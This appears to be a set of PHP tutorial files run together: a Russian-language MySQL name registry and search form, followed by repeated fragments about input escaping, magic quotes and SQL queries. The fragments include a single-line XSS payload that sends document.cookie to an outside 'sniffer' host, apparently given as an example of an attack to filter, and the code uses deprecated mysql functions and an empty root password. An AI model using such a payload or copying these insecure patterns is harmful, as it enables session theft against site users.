<?php

    define('SERVER', 'localhost');
    define('DATABASE', 'names');
    define('USER', 'root');
    define('PASSWORD', '');
    
    mysql_connect(SERVER, USER, PASSWORD) or die(mysql_error());
    
    mysql_select_db(DATABASE) or die(mysql_error());
    
    mysql_query("SET NAMES utf8");
    mysql_query("SET CHARACTER SET utf8");
    mysql_query("SET COLLATION_CONNECTION='utf8_general_ci'");

AddDefaultCharset UTF-8

php_flag register_globals off
php_flag magic_quotes_gpc off
php_flag magic_quotes_runtime off

<?php  
    
    //vars
    $_POST = chars($_POST);
    $_GET = chars($_GET);
    
    $login = !empty($_POST['login']) ? $_POST['login'] : null;
    $word = !empty($_GET['word']) ? $_GET['word'] : null;
    $id = !empty($_GET['id']) ? (int)$_GET['id'] : null;
    $ok = isset($_POST['ok']) ? true : false;
    $search = isset($_GET['search']) ? true : false;
    //////////////////////
    
    //functions
    function clearData($data)
    {
        if(is_array($data))
            $data = array_map('clearData', $data);
        else
            $data = mysql_real_escape_string($data);
            
        return $data;
    }
    
    function slashes($data)
    {
        if(is_array($data))
            $data = array_map('slashes', $data);
        else
            $data = stripslashes($data);
            
        return $data; 
    } 
    
    if(get_magic_quotes_gpc())
    {                
        $_GET = slashes($_GET);
        $_POST = slashes($_POST);
    }    
    
    function chars($data)
    {
        if(is_array($data))
            $data = array_map('chars', $data);
        else    
            $data = htmlspecialchars($data);
            
        return $data;
    }
    //////////////////////
    
    //add to base
    if($ok)
    {
        if(empty($login) || $login == ' ')
            print '<b style="color:red">введите имя</b><hr />';
        else
        {
            mysql_query("INSERT INTO `names` 
                         SET `name` = '". clearData($login) ."'");
                         
            header('location: '. $_SERVER['PHP_SELF']);
            exit();
        }
    }
    //////////////////////   
    
    //search in base
    if($search)
    {
        if(empty($word))
            print '<b style="color:red">вы не ввели слово для поиска</b><hr />';
        else
        {
            $res = mysql_query("SELECT * FROM `names`
                                WHERE `name` LIKE '%". addcslashes($word, '%\\\'') ."%'");
                        
            if(mysql_num_rows($res) > 0)
            {
                print '<b>Результаты поиска:</b><br />';
                
                while($row = mysql_fetch_assoc($res))
                    print '<span style="color:blue">'. $row['name'] .'</span><br />';
                    
                print '<hr />';
            }
            else
                print '<b style="color:red">поиск не дал результатов</b><hr />';
        }    
    }
    //////////////////////
    
    //output register date of user
    if($id)
    {
        $res = mysql_query("SELECT * FROM `names`
                            WHERE `id` = ". $id);
                            
        if(mysql_num_rows($res) > 0)
        {
            while($row = mysql_fetch_assoc($res))
                print  '<div style="font-style:italic">юзер <b>'. $row['name'] .
                       '</b> зарегистрировался <b style="color:gray">'.
                       $row['date'] .'</b></div><br />';
                       
            print '<hr />';
        }
    }
    //////////////////////
    
    //select from base
    $res = mysql_query("SELECT * FROM `names` 
                        ORDER BY `id` DESC");
                        
    if(mysql_num_rows($res) > 0)
    {
        while($row = mysql_fetch_assoc($res))
            print '<a href="?id='. $row['id'] .'">'. $row['name'] .'</a><br />';  
    }
    else
        print 'записей еще нет<hr />';
    //////////////////////

<?php

    header('Content-type:text/html; charset="utf-8"');
    error_reporting(E_ALL & E_STRICT);
    
    include './config.php';
    include './controller.php';
?>

<br /><br />
<form method="post" action="">
регистрация<br />
<input type="text" name="login" value="" /><br />
<input type="submit" name="ok" value="Зарегистрироваться" />
</form>

<br />
<form action="" method="get">
поиск<br />
<input type="text" name="word" value="<?php print $word; ?>" /><br />
<input type="submit" name="search" value="искать" />
</form>

<script>location.href='http://sniffer.ch?cook='+document.cookie()</script>

    if(get_magic_quotes_gpc())
    {                
        $_GET = slashes($_GET);
        $_POST = slashes($_POST);
    } 

php_flag magic_quotes_gpc on
php_flag magic_quotes_runtime on

            $res = mysql_query("SELECT * FROM `names`
                                WHERE `name` LIKE '%". addcslashes($word, '%\\\'') ."%'");

            header('location: '. $_SERVER['PHP_SELF']);

        $res = mysql_query("SELECT * FROM `names`
                            WHERE `id` = ". $id
                            );

    if(get_magic_quotes_gpc())
    {                
        $_GET = slashes($_GET);
        $_POST = slashes($_POST);
    }

$res = mysql_query("SELECT * FROM `names`
                                WHERE `name` LIKE '%". clearData(addcslashes($word, '%\\_')) ."%'");